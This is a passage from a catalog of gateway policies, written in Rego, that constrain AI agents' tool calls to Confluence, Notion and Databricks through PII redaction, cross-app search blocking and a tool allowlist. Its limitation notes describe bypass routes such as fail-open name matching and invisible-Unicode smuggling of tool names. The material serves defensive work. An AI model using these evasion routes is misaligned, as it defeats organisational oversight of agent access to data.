Atlassian inventory — # `getpagesinconfluencespace` ends in `...space`, `create/updateConfluencePage` # end in `...ateconfluencepage`, none in `getconfluencepage`). Requiring a # leading hyphen (as an earlier revision did) provided NO over-match protection # and instead FAILED OPEN — leaking every response — on any gateway whose # prefix separator was not `-` (e.g. `atlassian_getconfluencepage`) or that # emitted the tool name prefix-less. # ----------------------------------------------------------------------------- pii_read_suffixes := { # Official Rovo / Claude connector Confluence read + comment tools "getconfluencepage", "getconfluencepagedescendants", "searchconfluenceusingcql", "getconfluencepagefootercomments", "getconfluencepageinlinecomments", "getconfluencecommentchildren", # Community sooperset/mcp-atlassian equivalents (same body content) "confluence_get_page", "confluence_get_page_children", "confluence_get_space_page_tree", "confluence_get_comments", "confluence_search", } # Egress scope: match the post-invoke/output path on either mode or action. If # we keyed on input.mode alone and a gateway build left it unset, is_pii_read_tool # would silently fail and redaction would no-op (fail open, leaking content). # Ingress (tool_pre_invoke / mode "input") satisfies neither branch, so it stays # out of scope. is_egress if { input.mode == "output" } is_egress if { input.action == "tool_post_invoke" } # The tool name is exposed on egress under resource.name (PARC), tool_metadata.name # (legacy), and payload.name (tool-hook canonical). Collect all three and match if # ANY carries a read-tool suffix — matching only a subset would let a gateway that # populates a different surface slip page content past the scanner. candidate_names contains lower(object.get(object.get(input, "resource", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "tool_metadata", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "payload", {}), "name", "")) is_pii_read_tool if { is_egress some suffix in pii_read_suffixes some n in candidate_names endswith(n, suffix) } # ----------------------------------------------------------------------------- # Group exemption — placeholder IdP group whose members receive unredacted # responses. Replace "pii-full" with your IdP's group name at import time. # Claims are read via object.get(input.subject, "claims", {}); the object.get # chains mean a missing subject/claims/groups claim is never exempt: the grant # fails closed and redaction applies. # ----------------------------------------------------------------------------- exempt_groups := {"pii-full"} caller_claims := object.get(object.get(input, "subject", {}), "claims", {}) caller_groups := object.get(caller_claims, "groups", []) is_exempt if { # Only an array of group strings grants the exemption. The is_array guard is # load-bearing: `some g in caller_groups` over an OBJECT iterates its values, # so a namespaced/metadata claim like {"department": "pii-full"} would else # wrongly exempt the caller. is_string(g) keeps nested/non-string elements # from matching. Anything but a clean array of strings fails closed -> redact. is_array(caller_groups) some g in caller_groups is_string(g) lower(g) in exempt_groups } is_exempt if { # Some IdPs emit a single group as a bare string rather than an array. is_string(caller_groups) lower(caller_groups) in exempt_groups } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives on # version strings and page IDs. # ----------------------------------------------------------------------------- # US SSN in the canonical hyphenated form only. Bare 9-digit runs collide with # Confluence numeric page IDs, so they are deliberately not matched. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # Standard email address shape: local part, @, domain, 2+ letter TLD. Word- # boundary anchored so it never fires inside longer alphanumeric runs. email_pattern := `\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b` # Separator-formatted US phone numbers (e.g. 206-555-0100, (206) 555-0100, # +1 206.555.0100). A separator after the area code is required, so contiguous # digit runs (page IDs) and dotted version strings are not matched. phone_pattern := `(?:\+?1[-. ])?(?:\(\d{3}\)|\b\d{3})[-. ]\d{3}[-. ]\d{4}\b` # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class doesn't apply, so the steps chain safely. # ----------------------------------------------------------------------------- redact_ssn(t) := regex.replace(t, ssn_pattern, "[REDACTED-SSN]") redact_email(t) := regex.replace(t, email_pattern, "[REDACTED-EMAIL]") redact_phone(t) := regex.replace(t, phone_pattern, "[REDACTED-PHONE]") # All three classes in one pass over a string. Order: SSN first (3-2-4 hyphen # groups, disjoint from the 3-3-4 phone shape), then emails, then separator- # formatted phones. Each class is matched independently — no pairing required. redact_text(t) := redact_phone(redact_email(redact_ssn(t))) # Helper: the inner `text` string of an MCP structured content block # ({"type":"text","text":"..."}); undefined for anything else. block_text(b) := t if { is_object(b) t := object.get(b, "text", null) is_string(t) } # Plain-string content blocks: redact in place. redact_block(b) := redact_text(b) if { is_string(b) } # MCP-standard structured text content blocks {"type":"text","text":"..."}: # redact the inner `text` string and preserve every other key (type, # annotations). Without this branch, page/comment body delivered as content-block # OBJECTS (the canonical MCP wire shape) would slip past a string-only redactor # untouched — the exact PII this policy targets, leaked verbatim. redact_block(b) := object.union(b, {"text": redact_text(bt)}) if { not is_string(b) bt := block_text(b) } # Any other block — an object with no string `text` field, or a non-string / # non-object value — passes through unmodified. The policy makes no claim over # arbitrary structured data whose PII lives under other keys. redact_block(b) := b if { not is_string(b) not block_text(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, the caller is not exempt, and at least # one block actually changed. Otherwise the rule is undefined and the aggregator # skips this policy, returning the response byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_pii_read_tool not is_exempt is_array(text_blocks) redacted_blocks != text_blocks } ``` ### Constrain Notion Connected-Tool Search URL: https://www.intentbasedpolicy.com/policies/notion/constrain-connected-search App(s): notion | Direction: ingress | Bundles: soc2 | Package: notion.ingress.constrain_connected_search | Published: 2026-07-12 | Tags: notion, constrain-aggregator, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/notion/constrain-connected-search/policy.md # notion / constrain-connected-search **Direction:** ingress (`tool_pre_invoke`) **Default:** deny external-scoped searches, allow native Notion searches and all other tools **Package:** `notion.ingress.constrain_connected_search` ## What it does Notion's hosted MCP server (`notion-search`) does not just search Notion pages — through Notion AI connectors it also searches **connected Slack, Google Drive, and Jira content**. That means a single Notion OAuth grant can read those systems' data while bypassing the per-app MCP governance (policies, pipelines, audit) you attached to their own connectors. This policy closes that aggregator side-door. It denies search calls whose `query_type` or `filters` argument scopes the search to connected/external sources, forcing that traffic through each system's own governed MCP connector instead. Native Notion searches — the default scope, `query_type: "internal"` / `"user"`, and native filters such as teamspace filters — pass through unchanged, as do all non-search tools. The external-scope branch **fails closed**: a `query_type` value or `filters` shape the policy cannot positively recognize as native Notion scope is denied rather than silently allowed, so an unrecognized connector-scoping shape cannot reopen the cross-app path. ## Compliance alignment - **SOC 2 CC6.6** — supports boundary protection: content from Slack, Google Drive, and Jira only crosses the gateway through each system's own connector, where its dedicated policies apply — not through a Notion side-channel. - **SOC 2 CC6.8** — supports preventing unauthorized software paths: the Notion AI connector fan-out is an un-vetted access route into three other systems; this policy keeps it shut on the MCP path. - **SOC 2 CC9.2** — supports vendor/business-partner risk management by preventing one vendor's connector (Notion) from becoming an unmanaged proxy for data held with other vendors. - **HIPAA §164.508** — supports authorization discipline: PHI residing in connected Slack/Drive/Jira cannot be pulled through the Notion aggregator, which would sidestep the PHI controls attached to those apps' connectors. - **GDPR Arts. 44/46** — supports control of agent-visible cross-system transfers: personal data held in Slack, Google Drive, or Jira is not re-exposed through a second processor's search surface without the safeguards configured on the primary path. ## Tool name matching The policy matches search tools by suffix: - `*-search` This covers the hosted server's `notion-search` under any gateway server-name prefix (e.g. `notion-notion-search`), and the legacy official local server's plain `search` once the gateway prefixes it (e.g. `notion-mcp-search`). The DTwo gateway prefixes tool names with the configured MCP server name, and that prefix is not standardized — verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. **Attach this policy to the Notion pipeline only.** The `-search` suffix is deliberately broad and will also match other apps' search tools (e.g. an Atlassian `*-search` tool) if they share a pipeline, where a legitimate filter value like `"jira"` would be a false positive. ## Argument shape Read from `input.payload.args` with `object.get` (never direct indexing): 1. `query_type` (string) — must be absent or a recognized native value: `"internal"` (workspace content) or `"user"` (workspace people search). Any other value — including a non-string — is denied. These enum values come from Notion's hosted-server documentation but are **not independently verified**; extend `native_query_types` if your tenant observes other native values. 2. `filters` (object) — walked recursively. Any key or string value that canonicalizes (trim surrounding whitespace, lowercase, hyphens/interior-spaces → underscores) to a connected-source token — `slack`, `google_drive`/`googledrive`/`gdrive`/`drive`, `jira`, or a generic scope word (`connected`, `connected_sources`, `connected_tools`, `external`) — is denied. A `filters` value that is not an object or array (a scalar the policy cannot inspect) is denied as an unrecognized shape. 3. `query` and `teamspace` are treated as content/native scope and are never inspected — search text mentioning "jira" is not a denial trigger. ## Examples ### Allowed — native workspace search ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "notion-notion-search", "type": "tool" }, "payload": { "name": "notion-notion-search", "args": { "query": "Q3 launch retro", "query_type": "internal", "filters": { "teamspace_id": "ts_123" } } } } } ``` `allow = true`, no reason. ### Denied — search scoped to a connected source ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "notion-notion-search", "type": "tool" }, "payload": { "name": "notion-notion-search", "args": { "query": "customer contract", "filters": { "source": "google_drive" } } } } } ``` `allow = false`, `reason = "This Notion search is filtered to a connected external source (...)"`. ## Composition This policy is single-purpose. Useful companions on the Notion pipeline: - `apps/notion` PF-08-style bulk-export caps and PF-02 egress PII redaction on `-search` / `-fetch` / `-query-data-sources` responses. - A PF-07-style guard on `-query-data-sources` (raw SQL over Notion databases). - **Meta-tool servers are out of scope by design:** the community `awkoy/notion-mcp-server` funnels 43 operations (including deletes and file upload) through a single `notion_execute` tool with unverified per-operation schemas. Tool-name policies cannot govern it — block that server outright in gateway config and standardize on the hosted server. ## Known limitations - **Connector filter shapes are unverified.** Notion's public docs confirm that `notion-search` reaches connected Slack, Google Drive, and Jira, and confirm the `query_type`/`filters`/`teamspace` argument names, but do not publish the exact filter schema used to scope a search to a connector. The policy therefore combines token matching (keys and string values inside `filters`) with fail-closed handling of unrecognized `query_type` values and uninspectable `filters` shapes. If Notion ships a connector-scoping shape expressed through argument names outside `query_type`/`filters`, it would not be caught — re-verify against live traffic with the dump-input technique. - **Token equality, not substrings.** A filter key like `slack_channel_ids` does not canonicalize to `slack` and would pass; conversely a teamspace literally named `drive` would false-positive. Both are deliberate trade-offs to keep false positives low — tune `external_source_tokens` for your workspace. - **Default scope may still include connected content upstream.** If your Notion workspace's AI connectors are enabled, an unscoped ("native default") search may still surface connected-source snippets server-side; this policy only blocks *explicitly scoped* connector searches on the MCP path. Disable or restrict Notion AI connectors in the Notion admin console for full coverage — connector configuration itself is outside MCP. - **Other implementations differ.** The suekou community server uses `notion_find` (underscore, no `-search` suffix) and is not matched; the awkoy meta-tool server is unmatchable by tool name (see Composition). Add per-implementation policies if you allow those servers. - **Bare `search` is only caught when the gateway joins the server prefix with a hyphen.** The hosted server's tool is literally named `notion-search`, so it ends in `-search` under any prefix separator (`notion-notion-search`, `notion.notion-search`). But the legacy local server's tool is the bare word `search`: it is matched only when the gateway prefixes it into `…-search` (e.g. `notion-mcp-search`). If your gateway joins names with a dot or no separator, that server's search surfaces as `notion.search` / `notionsearch`, which does **not** end in `-search` and is treated as a non-search tool (allowed). Confirm the exact emitted name with the dump-input technique; if it is not hyphen-joined, add the observed form to `is_search_tool`. This does not affect the hosted server (the primary target). - **No identity-based exemptions.** All callers are subject to the same check. If a specific team legitimately needs Notion connected search, add an `allow if` branch gated on `input.subject.claims` groups. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package notion.ingress.constrain_connected_search # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Connected-source tokens. Slack, Google Drive, and Jira are the connectors # verified in the Notion landscape research; the generic scope words catch # filter shapes that point a search at connected rather than native content. # Compared by token equality (after canonicalization), not substring, to # limit false positives. Extend if your workspace enables more connectors # (e.g. GitHub, Microsoft Teams, SharePoint, OneDrive, Linear). external_source_tokens := { "slack", "google_drive", "googledrive", "gdrive", "drive", "jira", "connected", "connected_sources", "connected_tools", "external", } # query_type values recognized as native Notion scope. "" covers the default # (argument absent). "internal" (workspace content) and "user" (workspace # people search) are the hosted server's documented values — unverified enum, # extend if your tenant observes other native values. Anything else fails # closed: an unrecognized query_type could be a connector scope. native_query_types := {"", "internal", "user"} # Match search tools by suffix. The gateway prefixes tool names with the # configured MCP server name (e.g. `notion-notion-search`), and the legacy # official local server exposes plain `search` (prefixed to e.g. # `notion-mcp-search`). Attach to the Notion pipeline only — the suffix is # broad enough to catch other apps' search tools on a shared pipeline. is_search_tool if { endswith(lower(input.resource.name), "-search") } args := object.get(object.get(input, "payload", {}), "args", {}) filters_arg := object.get(args, "filters", {}) # Allow any tool that is not a search call. allow if { not is_search_tool } # Allow native searches: recognized native query_type, an inspectable filters # shape, and no connected/external source referenced anywhere in filters. allow if { is_search_tool query_type_is_native filters_shape_inspectable not filters_scope_external } query_type_is_native if { qt := lower(object.get(args, "query_type", "")) native_query_types[qt] } # filters must be a container we can walk. A scalar filters value is an # unrecognized shape and fails closed rather than opening the cross-app path. filters_shape_inspectable if is_object(filters_arg) filters_shape_inspectable if is_array(filters_arg) # Canonicalize a token: strip surrounding whitespace first (so a padded # " slack " / "slack\n" cannot dodge equality), then lowercase and map # hyphens and interior spaces to underscores, so "Google-Drive" and # "google drive" both resolve to `google_drive`. canonical(s) := replace(replace(lower(trim_space(s)), "-", "_"), " ", "_") is_external_token(x) if { is_string(x) external_source_tokens[canonical(x)] } # A string value anywhere inside filters names a connected source # (e.g. {"source": "slack"} or {"sources": ["jira"]}). filters_scope_external if { walk(filters_arg, [_, value]) is_external_token(value) } # A key anywhere inside filters names a connected source # (e.g. {"slack": {"channels": ["C123"]}}). filters_scope_external if { walk(filters_arg, [path, _]) some segment in path is_external_token(segment) } reasons contains "This Notion search sets query_type to a value that is not a recognized native Notion scope, so it may reach connected Slack, Google Drive, or Jira content. Use the default workspace search, or query those systems through their own governed MCP connectors. Contact your InfoSec team if this was a false positive." if { is_search_tool not query_type_is_native } reasons contains "This Notion search is filtered to a connected external source (Slack, Google Drive, or Jira). Search that system through its own governed MCP connector instead. Contact your InfoSec team if this was a false positive." if { is_search_tool filters_scope_external } reasons contains "This Notion search uses a filters shape this policy cannot verify as native Notion scope. Re-run the search without filters or with native filters (for example teamspace filters). Contact your InfoSec team if this was a false positive." if { is_search_tool not filters_shape_inspectable } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Databricks Default-Deny Unknown Tools URL: https://www.intentbasedpolicy.com/policies/databricks/default-deny-unknown-tools App(s): databricks | Direction: ingress | Bundles: soc2 | Package: databricks.ingress.default_deny_unknown_tools | Published: 2026-07-12 | Tags: databricks, default-deny-unknown-tools, allowlist, access-control, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/databricks/default-deny-unknown-tools/policy.md # databricks / default-deny-unknown-tools **Direction:** ingress (`tool_pre_invoke`) **Default:** deny unknown Databricks tools, allow allowlisted Databricks tools and all other servers **Package:** `databricks.ingress.default_deny_unknown_tools` ## What it does Pins an **allowlist of the exact Databricks tool names your team audited** and denies every other tool name on the Databricks MCP server(s). A Unity Catalog function that was newly registered upstream, an AI Search index that was renamed, or a tool added to the workspace after your audit is **denied-and-alerted instead of silently reachable**. Tools on other MCP servers behind the same gateway pass through unchanged. It also **fences the Databricks `system.ai` prebuilt MCP-Services proxies** (Slack, GitHub, Google Drive) unconditionally — even if their names were mistakenly added to the allowlist. Routing those SaaS apps *through* Databricks would let the lakehouse act as a second-order gateway around the per-app DTwo policies that govern Slack, GitHub, and Google Drive directly. This is the **anchor policy for the whole Databricks set**: the companion SQL guard, bulk-export guard, and egress-redaction policies only ever see a request that already passed this gate, so their per-tool logic can assume the tool inventory is the one that was reviewed. ## Why a per-tenant allowlist (pin at import time) Databricks managed MCP servers mix **fixed, canonical verbs** with **dynamically-named, customer-specific tools**: - **Fixed verbs** (verified in Databricks docs) — Genie One exposes `genie_ask` and `genie_poll_response`; the SQL server exposes `execute_sql`, `execute_sql_read_only`, and `poll_sql_result`. These are stable across deployments, so the shipped allowlist seeds them for you. - **AI Search index tools** — one tool per vector-search index, named `{CATALOG}__{SCHEMA}__{INDEX}` (double underscore). These names are **customer-specific** and cannot be shipped as defaults. - **UC Function tools** — one tool per registered Unity Catalog function, named after the function. A function body can hide **arbitrary writes and side effects**, so an unaudited function reaching the lakehouse is exactly the drift this policy exists to stop. Also customer-specific. Because the dynamic double-underscore names are per-workspace, you **must pin them at import time**. Enumerate the current inventory from the workspace, then add each audited name to `allowed_dynamic_tools`: - **AI Search indexes:** list your vector-search indexes (Databricks CLI `databricks vector-search-indexes list`, or the AI Search managed-server URL `/api/2.0/mcp/ai-search/{cat}/{schema}/{index}`). The tool name is the `{cat}__{schema}__{index}` triple with double underscores. - **UC functions:** `SHOW FUNCTIONS IN {catalog}.{schema};` in a SQL editor, or the UC Functions managed-server URL `/api/2.0/mcp/functions/{cat}/{schema}/{fn}`. The tool name is the function name as registered. The shipped dynamic entries are **illustrative placeholders**, not real names. Until you replace them with your deployment's audited names, legitimate dynamic tools will be denied — the fail-closed direction — and nothing unaudited is allowed. You must also pin `databricks_server_names` to the MCP server name(s) your gateway admin gave the Databricks managed server(s). Because the managed offering is **one workspace URL per capability** (Genie / SQL / AI Search / UC Functions), a gateway commonly fronts several — pin **every** server name it exposes. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets: a lakehouse full of regulated data is reachable only through the tool names that were explicitly audited and pinned. - **SOC 2 CC6.6** — supports boundary protection against external threats: an upstream party adding or renaming a tool cannot extend the agent channel's reach past the reviewed inventory, and the `system.ai` proxy fence stops Databricks from becoming a second-order boundary around the per-app policies for Slack, GitHub, and Google Drive. - **SOC 2 CC6.8** — supports preventing unauthorized/unreviewed software on the agent channel: a new UC-function or search-index tool is new executable capability, denied by default until reviewed (partial — covers the MCP path only). - **SOC 2 CC7.2 / CC7.3** — deny events on unknown names surface tool-set drift as reviewable alerts in the gateway's audit pipeline (partial — the alerting/monitoring itself is a platform property, not this policy). - **GDPR Art. 25** — supports data protection by design and by default on the agent channel: the default posture for any new data-access path is deny, and access requires a deliberate allowlist change. ## Tool name matching Matching is case-insensitive (`lower(input.resource.name)`). The **allowlist match is strictly exact** — no `endswith`, no trimming: an in-scope name is allowed only when it equals `-` for some pinned server name and some entry in `allowed_fixed_tools` or `allowed_dynamic_tools`. Exact matching is deliberate: a suffix match on a canonical verb like `execute_sql` would also admit a renamed UC function crafted to end in `_execute_sql`, which would defeat the whole default-deny posture. **Scoping** ("is this the Databricks server?") is decided on a normalized view of the name with **invisible characters stripped and whitespace trimmed**. A name is in scope when — after removing zero-width / BOM / bidi-control characters and trimming leading/trailing whitespace — it starts with a pinned server name followed by `-` (the gateway's `-` convention), or equals a pinned server name outright. The normalization is deliberate: without it, a padded name like `" databricks-sql-execute_sql"` (leading space/tab/newline) — or one prefixed with an invisible zero-width space (U+200B) or BOM (U+FEFF) — would fail the prefix test, be mistaken for a different server, and pass through the out-of-scope allow branch — a fail-open bypass. Because scoping normalizes but the allowlist match does not, a padded or obfuscated name lands **in scope but is never an exact allowlist match, so it is denied** (fail closed). The invisible-character set covers the well-known smuggling classes — soft-hyphen, the zero-width block (U+200B–U+200F), legacy bidi embed/override (U+202A–U+202E) **and their modern isolate replacements (U+2066–U+2069)**, the Arabic Letter Mark (U+061C), word-joiner / invisible-math (U+2060–U+2064), variation selectors (U+FE00–U+FE0F), the BOM, and the **Unicode Tags block (U+E0000–U+E007F)** — best-effort, not an exhaustive enumeration of every invisible Unicode codepoint. Everything in scope that does not match exactly is denied — including near-misses like `genie_ask_v2` and whitespace-padded variants — which are treated as unknown tools. The `system.ai` proxy fence overrides the allowlist: a name matching a `system_ai_proxy_markers` substring is denied even if it was added to the allowlist. The gateway's server-name prefix is deployment-specific; verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape None. The decision is made entirely from the tool name — the point of this gate is that an unknown name's semantics cannot be inspected from its arguments (a UC function's body is opaque on the wire). A matched unknown tool is denied even when its arguments or the whole payload are missing. ## Examples ### Allowed ```jsonc // A verified fixed verb on the managed SQL server. { "input": { "action": "tool_pre_invoke", "resource": { "name": "databricks-sql-execute_sql_read_only", "type": "tool" }, "payload": { "name": "databricks-sql-execute_sql_read_only", "args": { "statement": "SELECT id FROM sales.orders LIMIT 100" } } } } ``` `allow = true`, no reason. ```jsonc // An audited AI Search index tool pinned into allowed_dynamic_tools. { "input": { "action": "tool_pre_invoke", "resource": { "name": "databricks-ai-search-support__tickets__kb_index", "type": "tool" }, "payload": { "name": "databricks-ai-search-support__tickets__kb_index", "args": { "query": "reset password", "num_results": 5 } } } } ``` `allow = true`, no reason. ### Denied ```jsonc // A UC function registered after the audit — name not on the pinned allowlist. { "input": { "action": "tool_pre_invoke", "resource": { "name": "databricks-functions-payments__ops__wire_transfer", "type": "tool" }, "payload": { "name": "databricks-functions-payments__ops__wire_transfer", "args": { "amount": 5000 } } } } ``` `allow = false`, `reason = "The Databricks tool 'databricks-functions-payments__ops__wire_transfer' is not on the pinned allowlist ..."`. ```jsonc // A system.ai prebuilt Slack proxy — fenced off unconditionally. { "input": { "action": "tool_pre_invoke", "resource": { "name": "databricks-functions-system__ai__slack_send_message", "type": "tool" }, "payload": { "name": "databricks-functions-system__ai__slack_send_message", "args": {} } } } ``` `allow = false`, `reason = "The Databricks tool 'databricks-functions-system__ai__slack_send_message' is a Databricks system.ai prebuilt MCP-Services proxy ..."`. ## Composition This policy is the ingress gate the rest of the Databricks set assumes. Companions in this catalog: - A destructive-SQL guard on the allowlisted `execute_sql` / `execute_sql_read_only` tools (PF-07 `guard-warehouse-sql` style) — this gate lets `execute_sql` through as a *known* verb; its write danger (`INSERT`/`UPDATE`/`DELETE`/`DROP`/ `GRANT`) is governed downstream. - An egress PII/PAN redaction backstop on `poll_sql_result`, `genie_poll_response`, and AI Search index responses (the data egresses in the poll/search response, not the submit call). ## Known limitations - **The allowlist pins names, not semantics.** If an admin re-points an allowlisted name at a different UC function, or a function body is edited to add a write, the gate cannot see the change. Re-audit and re-enumerate whenever the workspace's function/index inventory changes. - **`system.ai` proxy names are unverified.** The landscape note confirms Databricks ships prebuilt `system.ai` MCP-Services proxies for Slack, GitHub, and Google Drive, but their exact tool names were not published. The fence matches the `system.ai` / `system__ai__` catalog-schema markers conservatively; verify the actual names your workspace exposes with the dump-input technique and extend `system_ai_proxy_markers` if they differ. - **The `execute_sql` name collides across servers.** Two community Databricks MCP servers also expose an `execute_sql`-shaped tool with different auth (PAT-scoped, no read-only guard). If you pin a community server name, its `execute_sql` is allowlisted the same as the managed verb — audit which server you are actually pinning, and rely on the companion SQL guard for the write semantics. - **Cross-product over-allowance with multiple servers.** Every allowlist entry is accepted under every pinned server name, so pinning several managed servers allows e.g. `databricks-sql-genie_ask` even though `genie_ask` only exists on the Genie server. Harmless when the name doesn't exist upstream, but split the policy per server if you need strict per-server inventories. - **Genie Space (single-space) tool name is unverified.** The GA Genie Space server exposes one invoke tool whose name Databricks has not published. If you use Genie Space, discover its name with dump-input and add it to `allowed_fixed_tools`. - **Scope-evasion via invisible characters is closed for the well-known set, not provably every codepoint.** Leading/embedded whitespace, soft-hyphen, the zero-width block, legacy bidi embed/override **and their modern isolate replacements (U+2066–U+2069)**, the Arabic Letter Mark (U+061C), word-joiner / invisible-math, variation selectors (U+FE00–U+FE0F), the BOM, and the **Unicode Tags block (U+E0000–U+E007F)** are stripped before scoping, so a name like `"​databricks-functions-…"` — or one prefixed with an invisible Tag character — still lands in scope and is denied (fail closed). This is best-effort: an exotic invisible/ignorable codepoint outside the stripped set (e.g. a Hangul filler such as U+3164, or a musical-notation combining mark) could still push a name out of scope into the pass-through allow branch. This is only reachable if the gateway itself normalizes that codepoint away when routing (otherwise the crafted name matches no real tool and is never routed). Verify with dump-input if your gateway performs aggressive name normalization. - **A request with no tool name at all — or a non-string tool name — is allowed.** A missing/`null` name normalizes to `""`, and a present but non-string name (number, array, object) makes `lower()` yield an undefined `normalized_name`; either way the request matches no pinned server prefix, so `not is_databricks_tool` holds and it falls through the out-of-scope pass-through branch (fail open, no reason). The gateway only ever routes a tool call with a string `resource.name` (MCP tool names are strings by protocol), so neither shape is a reachable bypass, but the policy asserts nothing over nameless or malformed-name input — it is scoped only to correctly-named Databricks tools. - **No identity-based exemptions — intentionally.** Exempting a group from the anchor gate would bypass every downstream Databricks policy at once. For unaudited tooling needs, use the Databricks workspace UI or a native client outside the agent channel, where the user's own Unity Catalog identity and audit trail apply. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package databricks.ingress.default_deny_unknown_tools # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --- Per-tenant pinned constants (EDIT AT IMPORT TIME) --- # The gateway prefixes every tool with the MCP server name it was configured # under (`-`). Databricks managed MCP is one workspace # URL per capability (Genie / SQL / AI Search / UC Functions), so a gateway # commonly fronts several servers — pin EVERY name your admin gave them here. # Lower-case only. databricks_server_names := [ "databricks-mcp", "databricks-genie", "databricks-sql", "databricks-ai-search", "databricks-functions", ] # The fixed, canonical Databricks managed-server verbs, verified in Databricks # docs. These are stable across deployments, so they are seeded for you. # `execute_sql` is read+write — it is a KNOWN verb here (this gate only decides # known/unknown); govern its write semantics with the companion SQL guard. # Matching is EXACT against -. Lower-case only. allowed_fixed_tools := [ "genie_ask", "genie_poll_response", "execute_sql", "execute_sql_read_only", "poll_sql_result", ] # Dynamically-named, CUSTOMER-SPECIFIC tools you must enumerate from the # workspace and pin at import time (see "Why a per-tenant allowlist"): # - AI Search index tools: {CATALOG}__{SCHEMA}__{INDEX} (double underscore) # - UC Function tools: one per registered function, named after the function # These are ILLUSTRATIVE PLACEHOLDERS — replace them with your deployment's # audited names. Matching is EXACT against -. Lower-case. allowed_dynamic_tools := [ "support__tickets__kb_index", # AI Search index (placeholder) "sales__crm__accounts_index", # AI Search index (placeholder) "sales__analytics__forecast_revenue", # UC function (placeholder) ] # system.ai prebuilt MCP-Services proxies (Slack / GitHub / Google Drive) are # fenced off UNCONDITIONALLY — even if a name below were added to the allowlist. # Routing those SaaS apps through Databricks would make the lakehouse a # second-order gateway around the per-app DTwo policies. Names are UNVERIFIED; # match the catalog.schema markers conservatively and extend if your workspace # exposes different names (verify with dump-input). Lower-case substrings. system_ai_proxy_markers := [ "system.ai", "system__ai__", ] # Case-insensitive; the allowlist match below is otherwise strictly exact (no # suffix matching). Always defined — a missing name yields "". normalized_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # Invisible / zero-width / bidi-control characters that carry no visible glyph # and are NOT caught by trim_space (which strips only Unicode WHITESPACE). A # leading zero-width space (U+200B) or BOM (U+FEFF) would otherwise defeat the # `startswith` scope test the same way leading whitespace does — pushing a # Databricks tool into the pass-through allow branch (fail open). We strip these # for SCOPING before trimming. Stripping only ever pulls names further INTO scope # (the fail-closed direction); the exact allowlist match below still runs on the # untrimmed `normalized_name`, so a padded/obfuscated name is in scope but never # an exact allowlist match => denied. The set covers the well-known invisible / # formatting classes attackers use to smuggle text: soft-hyphen (U+00AD), # Mongolian vowel separator (U+180E), the zero-width block (U+200B–U+200F), # legacy bidi embed/override (U+202A–U+202E) AND their modern isolate replacements # (U+2066–U+2069) plus the Arabic Letter Mark (U+061C), the word-joiner / invisible- # math block (U+2060–U+2064), variation selectors (U+FE00–U+FE0F), the BOM/ZWNBSP # (U+FEFF), and the Unicode Tags block (U+E0000–U+E007F). It is best-effort, not an # exhaustive enumeration of every invisible Unicode codepoint (e.g. Hangul fillers # such as U+3164 are not stripped — see Known limitations). invisible_chars := `[\x{00AD}\x{061C}\x{180E}\x{200B}-\x{200F}\x{202A}-\x{202E}\x{2060}-\x{2064}\x{2066}-\x{2069}\x{FE00}-\x{FE0F}\x{FEFF}\x{E0000}-\x{E007F}]` # Scoping ("is this the Databricks server?") is decided on a view of the name that # has invisible characters stripped and whitespace trimmed, so leading/trailing # padding — visible or invisible — cannot push a Databricks tool OUT of scope into # the pass-through allow branch. Without this, a name like # " databricks-sql-execute_sql" (leading space/tab/newline) or # "​databricks-sql-execute_sql" (leading zero-width space) would fail the # `startswith` prefix test, be treated as a non-Databricks server, and be allowed # — a fail-open bypass. Normalizing here keeps padded names in scope; the exact # allowlist match below still runs on the untrimmed `normalized_name`, so a padded # name is in scope but never an exact allowlist match => denied (fail closed). scoping_name := trim_space(regex.replace(normalized_name, invisible_chars, "")) # A tool is in scope when it carries a pinned Databricks server-name prefix # followed by the gateway's `-` separator... is_databricks_tool if { some server in databricks_server_names startswith(scoping_name, concat("", [server, "-"])) } # ...or is exactly a pinned server name (degenerate prefix-only name: still # Databricks-scoped, and never allowlisted, so it is denied). is_databricks_tool if { some server in databricks_server_names scoping_name == server } # The name exactly equals - for some pinned pair, # across both the fixed-verb and dynamic allowlists. is_allowed_databricks_tool if { some server in databricks_server_names some tool in allowed_fixed_tools normalized_name == concat("-", [server, tool]) } is_allowed_databricks_tool if { some server in databricks_server_names some tool in allowed_dynamic_tools normalized_name == concat("-", [server, tool]) } # The system.ai proxy fence: a Databricks-scoped tool whose name carries a # system.ai proxy marker. This overrides the allowlist (see allow rule below). is_system_ai_proxy if { is_databricks_tool some marker in system_ai_proxy_markers contains(normalized_name, marker) } # Tools on other MCP servers are out of scope — pass through unchanged. allow if { not is_databricks_tool } # Databricks tools are allowed only on an exact allowlist match AND when they are # not a fenced system.ai proxy. allow if { is_databricks_tool is_allowed_databricks_tool not is_system_ai_proxy } # Unconditional fence reason for system.ai proxies (fires even if allowlisted). reasons contains msg if { is_system_ai_proxy msg := sprintf("The Databricks tool '%s' is a Databricks system.ai 